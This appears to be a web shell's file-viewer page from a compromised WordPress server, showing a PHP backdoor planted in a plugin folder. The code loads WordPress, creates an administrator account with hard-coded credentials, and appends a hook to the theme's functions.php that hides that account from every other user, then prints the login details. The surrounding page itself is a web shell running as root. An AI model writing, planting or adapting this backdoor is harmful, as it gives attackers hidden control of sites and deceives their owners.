HEX
Server: Apache/2.4.65 (Debian)
System: Linux srv39710 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
User: root (0)
PHP: 8.4.11
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/www-root/data/www/cryptoearnings2020.com/wp-content/plugins/nx_up_bf7e05e2/di42ia6p.php
<?php
error_reporting(0);
ini_set('display_errors', 0);

// Find WordPress
$wp_load = false;
$dir = __DIR__;
for($i=0; $i<15; $i++) {
    if(file_exists($dir . '/wp-load.php')) {
        $wp_load = $dir . '/wp-load.php';
        break;
    }
    $dir = dirname($dir);
}

if($wp_load) {
    require_once($wp_load);
    
    $username = 'Bajwa_qtv';
    $password = 'Bajwa70656@';
    $email = 'hawkerhawked@gmail.com';
    
    // Check if user exists
    $counter = 1;
    $base = $username;
    while(username_exists($username)) {
        $username = $base . '_' . $counter;
        $counter++;
    }
    
    // Create user
    $user_id = wp_create_user($username, $password, $email);
    if(is_int($user_id) && $user_id > 0) {
        $user = new WP_User($user_id);
        $user->set_role('administrator');
        
        // Hide user
        $theme_dir = get_template_directory();
        if($theme_dir) {
            $functions_file = $theme_dir . '/functions.php';
            $hidden_code = "
add_action('pre_user_query', 'hide_user_{$username}');
function hide_user_{$username}(\$query) {
    global \$current_user;
    if(isset(\$current_user->user_login) && \$current_user->user_login !== '{$username}') {
        global \$wpdb;
        \$query->query_where .= \$wpdb->prepare(' AND {{$wpdb->users}}.user_login != %s', '{$username}');
    }
}";
            file_put_contents($functions_file, PHP_EOL . $hidden_code . PHP_EOL, FILE_APPEND);
        }
        
        echo json_encode(array(
            'success' => true,
            'username' => $username,
            'password' => $password,
            'wp_login' => wp_login_url()
        ));
    } else {
        echo json_encode(array('success' => false, 'error' => 'User creation failed'));
    }
} else {
    echo json_encode(array('success' => false, 'error' => 'WordPress not found'));
}
?>